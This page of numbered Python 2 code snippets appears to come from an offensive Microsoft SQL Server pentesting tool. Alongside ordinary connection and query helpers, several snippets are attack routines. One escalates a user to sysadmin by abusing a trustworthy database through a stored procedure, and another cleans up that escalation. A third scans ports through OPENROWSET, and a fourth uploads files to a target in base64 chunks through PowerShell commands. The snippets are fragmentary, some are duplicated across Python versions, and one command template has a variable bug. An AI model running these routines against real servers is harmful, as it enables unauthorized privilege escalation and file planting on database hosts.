Exemple #1
0
    def executeRequest(self, request, ld=[], noResult=False):
        '''
		Execute request
		ld: list containing all name of columns
		Return a list of dico named by column. 
		Example:  
			request = "SELECT name FROM master..syslogins"
			ld = ['version']
			return : [{'version': u'Microsoft SQL Server 2008 (RTM) ...\n'}]
		Otherwise, return ErrorClass
		'''
        logging.debug("Executing the following request: {0}...".format(
            repr(request)))
        if self.args['cursor'] != None:
            try:
                self.args['cursor'].execute(request)
            except Exception, e:
                return ErrorClass(e)
            else:
                if noResult == True: return []
                try:
                    results = self.args['cursor'].fetchall()
                except Exception, e:
                    return ErrorClass(e)
                if ld == []: return results
                else:
                    values = []
                    for line in results:
                        dico = {}
                        for i in range(len(line)):
                            dico[ld[i]] = line[i]
                        values.append(dico)
                    return values
                return dataList
Exemple #2
0
    def isCurrentUserSysadmin(self):
        '''
		Returns True if current user is SYSADMIN
		Otherwise return False
		If error, return Exception
		'''
        logging.info("Checking if the current user is sysadmin")
        data = self.executeRequest(self.REQ_IS_SYSADMIN, ld=['issysadmin'])
        if isinstance(data, Exception):
            logging.warning(
                "Impossible to known if the user is sysadmin: {0}".format(
                    data))
            return data
        else:
            for e in data:
                if e['issysadmin'] == 0:
                    logging.debug("The current user is not SYSADMIN")
                    return False
                elif e['issysadmin'] == 1:
                    logging.debug("The current user is SYSADMIN")
                    return True
                else:
                    msg = "Impossible to known if the user is sysadmin because the result is not 1 or 0. The result is '{0}'".format(
                        e['issysadmin'])
                    logging.warning(msg)
                    return ErrorClass(msg)
            msg = "Impossible to known if the user is sysadmin because the result is empty"
            logging.warning(msg)
            return ErrorClass(msg)
Exemple #3
0
    def connect(self, printErrorAsDebug=False, stopIfError=False):
        '''
		Connect to the database
		Create a connection object and a cursor
		Return True if Ok, otherwise, return 
		'''
        logging.debug(
            "Connecting to the '{0}':'{4}' database server, on the '{1}' database with the '{2}':'{3}' account..."
            .format(self.host, self.database, self.user, self.password,
                    self.port))
        if self.domain == None:
            logging.debug(
                "Domain name NOT specified. Consequently, windows authentication NOT enabled: SQL server Authentication eanbled ONLY !"
            )
            userString = self.user
        else:
            logging.debug(
                "Domain name specified. Consequently, SQL server Authentication DISABLED and windows authentication ENABLED !"
            )
            userString = '{0}\\{1}'.format(self.domain, self.user)
        try:
            self.args['connection'] = pymssql.connect(
                host=self.host,
                user=userString,
                password=self.password,
                database=self.database,
                port=self.port,
                charset=self.charset,
                login_timeout=DEFAULT_LOGIN_TIMEOUT)
            self.args['connection'].autocommit(self.autocommit)
        except Exception, e:
            logging.debug("Connection not established : '{0}'".format(repr(e)))
            if self.ERROR_ACCOUNT_IS_DISABLED in str(e):
                errorMsg = "The '{0}' account is disabled".format(self.user)
                if printErrorAsDebug == False: logging.error(errorMsg)
                else: logging.debug(errorMsg)
                return ErrorClass(errorMsg)
            elif self.ERROR_ACCOUNT_INVALID in str(
                    e) or self.ERROR_UNTRUSTED_DOMAIN in str(e):
                if self.domain == None:
                    errorMsg = "The '{0}' account is invalid. A domain name could be used to enable the Windows Authentication".format(
                        self.user)
                else:
                    errorMsg = "The '{0}' account is invalid. The domain name could be removed to enable SQL server Authentication".format(
                        self.user)
                if printErrorAsDebug == False: logging.error(errorMsg)
                else: logging.debug(errorMsg)
                return ErrorClass(errorMsg)
            else:
                if self.ERROR_UNABLE_TO_CONNECT in str(
                        e) or printErrorAsDebug == False:
                    logging.error("Connection error: {0}".format(e))
                    return -1
                else:
                    logging.debug("Connection error: {0}".format(e))
            return ErrorClass(e)
Exemple #4
0
	def tryPE (self):
		'''
		Try to elevate privs to become sysadmin
		Returns True if PE has success
		Otherwise returns Exception
		'''
		logging.info("Trying to become sysadmin thanks to trustworthy database method")
		isSysadmin = self.isCurrentUserSysadmin()
		if isinstance(isSysadmin,Exception): return isSysadmin
		if isSysadmin == True:
			msg = "The current user is already sysadmin, nothing to do"
			logging.warning(msg)
			return ErrorClass(msg)
		else :
			currentUsername = self.getCurrentUser()
			if isinstance(currentUsername, Exception): return currentUsername
			trustworthyDBs = self.__getTrustworthyDBs__()
			if isinstance(trustworthyDBs, Exception): return trustworthyDBs
			if trustworthyDBs == []:
				msg = "No one database is flagged as trustworthy, this method can't success"
				logging.info(msg)
				return ErrorClass(msg)
			else:
				logging.info("One database is flagged as trustworthy at least, continue...")
			for aDB in trustworthyDBs:
				logging.info("Moving to the database {0}".format(aDB))
				status = self.useThisDB(aDB)
				if isinstance(status, Exception): 
					logging.info("Impossible to move to the database {0}, try another database".format(aDB))
				else:
					#isDatabaseOwner = self.__isDatabaseOwner__(currentUsername)
					#if isDatabaseOwner == False:
					#	logging.info("The current user is not a database owner, this method can't success")
					#	return False
					#else:
					#	logging.info("The current user is a database owner, continue...")
					status = self.__createStoredProcToPE__(self.spName, currentUsername)
					if isinstance(status,Exception): 
						if self.ERROR_PERM_DENIED in str(status): 
							logging.info("The current user can't create a stored procedure in this database, try another database")
						elif self.ERROR_SP_EXIST in str(status):
							logging.info("The stored procedure {0} exists in the database, you must to remove it from this database!".format(self.spName))
						else:
							logging.warning("This following error is not catched but the program continues: {0}".format(status))
					elif status == True:
						logging.info("The stored procedure for PE is created, continue...")
						status = self.execSP(self.spName)
						if isinstance(status,Exception): return status
						elif status == True:
							logging.info("The stored has been executed successfully. You are now sysadmin!")
							return True	
				logging.info("We have tried all trustworthy DBs. The current user can't create a stored procedure in it")
				return 	status		
Exemple #5
0
    def getJobStatus(self):
        '''
		get the status of the last job executed
		Returns True if no error
		Returns None if execution status == Unknown
		Returns False if not executed correctly
		Returns exception if error
		'''
        time.sleep(self.sleepStatus)
        statusVal = self.__getJobStatusValue__()
        if isinstance(statusVal, Exception):
            logging.info(
                "Impossible to get the status value for this job: {0}".format(
                    statusVal))
            return statusVal
        if statusVal == self.LAST_RUN_OUTCOME['Succeeded']:
            logging.info(
                "The last_run_outcome value is {0} ('{1}'), good news".format(
                    statusVal, self.LAST_RUN_OUTCOME_INV[statusVal]))
            return True
        elif statusVal == self.LAST_RUN_OUTCOME['Unknown']:
            logging.info(
                "The status is '{0}': The job is running, no status yet".
                format(self.LAST_RUN_OUTCOME_INV[statusVal]))
            return None
        elif statusVal == self.LAST_RUN_OUTCOME['Failed']:
            logging.info(
                "The last_run_outcome value is {0} ('{1}'): The job has failed. Perhaps a mistake in the cmd..."
                .format(statusVal, self.LAST_RUN_OUTCOME_INV[statusVal]))
            return False
        else:
            msg = "The last_run_outcome value is {0} ('{1}'). Status Unknown!".format(
                statusVal, self.LAST_RUN_OUTCOME_INV[statusVal])
            logging.info(msg)
            return ErrorClass(msg)
Exemple #6
0
	def cleanPE(self):
		'''
		Try to clean privi escalation (PE)
		Returns True if cleaned
		Returns False if impossible
		Otherwise returns Exception
		'''
		logging.info("Cleaning the lastest privilege escalation")
		currentUsername = self.getCurrentUser()
		if isinstance(currentUsername, Exception): return currentUsername
		logging.info("Getting trustworthy DBs because the stored procedure to detele is stored in one of them")
		trustworthyDBs = self.__getTrustworthyDBs__()
		if isinstance(trustworthyDBs, Exception): return trustworthyDBs
		if trustworthyDBs == []:
			msg = "No one database is flagged as trustworthy, no one stored procedure to delete"
			logging.info(msg)
			return ErrorClass(msg)
		else:
			logging.info("One database is flagged as trustworthy at least, seaching the stored procedure in these databases")
		for aDB in trustworthyDBs:
			status = self.useThisDB(aDB)
			if isinstance(status, Exception): 
				logging.info("Impossible to move to the database {0}, try another database".format(aDB))
			else:
				status = self.deleteSP(self.spName)
				if isinstance(status,Exception):
					logging.info("Impossible to delete this stored procedure in {0}: {1}".format(aDB, status))
		status = self.__dropSysadminPriv__(currentUsername)
		if isinstance(status,Exception): return status
		logging.info("Latest privilege escalation cleaned")
		return True
Exemple #7
0
    def closeConnection(self):
        '''
		close the connection
		return True if Ok, otherwise return ErrorClass()
		'''
        logging.debug(
            "Closing the connection to the {0} database server...".format(
                self.host))
        if self.args['connection'] != None:
            try:
                self.args['connection'].close()
            except Exception as e:
                return ErrorClass(e)
            else:
                logging.debug("Connection closed")
                return True
        else:
            errorMsg = "A connection has not been established to the {0} database server".format(
                self.host)
            logging.error(errorMsg)
            return ErrorClass(errorMsg)
Exemple #8
0
	def closeConnection (self):
		'''
		close the connection
		return True if Ok, otherwise return ErrorClass()
		'''
		logging.debug("Closing the connection to the {0} database server...".format(self.host))
		if self.args['connection'] != None :
			try: self.args['connection'].close()
			except Exception, e: return ErrorClass(e)
			else: 	
				logging.debug("Connection closed")
				return True
Exemple #9
0
	def __getJobStatusValue__(self):
		'''
		Returns the status (LAST_RUN_OUTCOME) of the job ONLY (integer value)
		Returns exception if error
		'''
		logging.debug("Getting the job status thanks to the value last_run_outcome")
		status = self.__getJobStatus__()
		if isinstance(status,Exception):
			logging.debug("Impossible to get the status of the job. Perhaps there is no error during execution: {0}".format(status))
			return status
		else:
			if len(status) > 0: 
				return status[0]['last_run_outcome']
			else:
				msg = "Impossible to get the status of the job. No entry retrieved in the table for this job. Perhaps the cmd has been executed..."
				logging.debug(msg)
				return ErrorClass(msg)
Exemple #10
0
	def getDBName (self):
		'''
		returns the current database name
		Returns Exception if error
		'''
		logging.info("Getting the current database name")
		data = self.executeRequest(self.REQ_GET_DB_NAME, ld=['databasename'])
		if isinstance(data,Exception):
			logging.warning("Impossible to get the current database name: {0}".format(data))
			return data
		else:
			for e in data:
				logging.debug("The database name is {0}".format(e['databasename']))
				return e['databasename']
			msg = "Impossible to get the current database name because the result is empty"
			logging.warning(msg)
			return ErrorClass(msg)
Exemple #11
0
	def listDrivesViaXpFixedDrives (self):
		'''
		List all drives via XP_FIXEDDRIVES
		'''
		logging.info("Listing drives via xp_fixeddrives...")
		data = self.executeRequest(self.REQ_XP_FIXEDDRIVES,ld=['drive','MB free'])
		if isinstance(data,Exception):
			logging.debug("Impossible to list drives: {0}".format(data))
			return data
		elif data == []:
			logging.debug("Impossible to list drives: empty result")
			return ErrorClass("Impossible to list drives: empty result")
		else: 
			output = ""
			for l in data: output += self.OUTPUT_DRIVES.format(l['drive'],l['MB free'])
			data = output
		return data
Exemple #12
0
	def scanPortsWithOpenrowset(self, ip, ports,nbThread=SCAN_PORT_NUMBER_THREAD):
		'''
		To scan ports with openrowset
		'''
		portsList = []
		logging.info('Scanning ports of the server {0}'.format(ip))
		if "," in ports: portsList=ports.split(',')
		elif '-' in ports:
			startEnd = ports.split('-')
			for aPort in range(int(startEnd[0]),int(startEnd[1])): 
				portsList.append(str(aPort))
		elif ports.isdigit() == True: 
			portsList = [ports]
		else : 
			return ErrorClass("Syntax for ports given not recognized")
		scanPorts = ScanPorts(self.args)
		results = scanPorts.scanTcpPorts(scannerObject=self,ip=ip,ports=portsList,nbThread=nbThread)
		scanPorts.printScanPortResults(results)
Exemple #13
0
	def getCurrentUser(self):
		'''
		Returns the current user name
		If error, returns Exception
		'''
		logging.info("Getting the current username")
		data = self.executeRequest(self.REQ_GET_CURRENT_USER,ld=['username'])
		if isinstance(data,Exception): 
			logging.warning("Impossible to know the current username: {0}".format(data))
			return data
		else:
			for e in data:
				username = e['username'].replace("{0}\\".format(self.domain),'')
				logging.debug("The current user is {0}".format(username)) 
				return username
			msg = "Impossible to know the current username because the result is empty"
			logging.warning(msg)
			return ErrorClass(msg)
Exemple #14
0
            else:
                if self.ERROR_UNABLE_TO_CONNECT in str(
                        e) or printErrorAsDebug == False:
                    logging.error("Connection error: {0}".format(e))
                    return -1
                else:
                    logging.debug("Connection error: {0}".format(e))
            return ErrorClass(e)
        else:
            logging.debug("Connection established. Creating the cursor...")
            try:
                self.args['cursor'] = self.args['connection'].cursor()
                logging.debug("Cursor created")
                return True
            except Exception, e:
                return ErrorClass(e)

    def update(self, host, user, password, database='master', port=1433):
        '''
		Update host user password database and port
		'''
        self.host = host
        self.user = user
        self.password = password
        self.database = database
        self.port = port
        self.args['connection'] = None
        self.args['cursor'] = None

    def closeConnection(self):
        '''
Exemple #15
0
    def uploadFileWithPowershell(self,
                                 localFilePath,
                                 remoteFilePath,
                                 width=5000):
        '''
		Copy content of localFilePath into remoteFilePath on the target.
		'''
        PS_CMD_WRITE_CREATE = """	powershell -c 
									$By=[System.Convert]::FromBase64String(''{1}'');
									$fi=New-Object System.IO.FileStream(''{0}'',''Create'');
									$bi=New-Object System.IO.BinaryWriter($fi);
									$bi.write($By);
									$b.Close();
		"""
        PS_CMD_WRITE_APPEND = """powershell -c 
								$By=[System.Convert]::FromBase64String(''{1}'');
								$fi=New-Object System.IO.FileStream(''{0}'',''Append'',''Write'');
								$bi=New-Object System.IO.BinaryWriter($fi);
								$bi.write($By);
								$bi.Close();
		"""
        logging.info(
            "Uploading {0} on the target in {1} with powershell commands".
            format(localFilePath, remoteFilePath))
        rawData = getBinaryDataFromFile(localFilePath)
        rawDataSplitted = [
            rawData[i:i + width] for i in range(0, len(rawData), width)
        ]
        rawDataSplittedSize = len(rawDataSplitted)
        logging.info(
            "{0} powershell command(s) will be executed on the target for creating the file"
            .format(rawDataSplittedSize))
        for i, aRawData in enumerate(rawDataSplitted):
            if i == 0:
                #we create the file with powershell
                cmd = PS_CMD_WRITE_CREATE.format(
                    remoteFilePath,
                    base64.b64encode(aRawData).decode('utf-8')).replace(
                        '\t', '').replace('\n', '')
                status = self.executeCmd(cmd=cmd,
                                         printResponse=False,
                                         printCMD=False)
                if isinstance(status, Exception):
                    return status
                if "Exception calling" in status:
                    return ErrorClass(
                        "Error with powershell: {0}".format(status))
            else:
                #we append data to file
                cmd = PS_CMD_WRITE_APPEND.format(
                    remoteFilePath,
                    base64.b64encode(aRawData).decode('utf-8')).replace(
                        '\t', '').replace('\n', '')
                status = self.executeCmd(cmd=cmd,
                                         printResponse=False,
                                         printCMD=False)
                if isinstance(status, Exception):
                    return status
                if "Exception calling" in status:
                    return ErrorClass(
                        "Error with powershell: {0}".format(status))
            logging.info("{0}/{1} done".format(i + 1, rawDataSplittedSize))
        logging.info("Upload finished")
        return True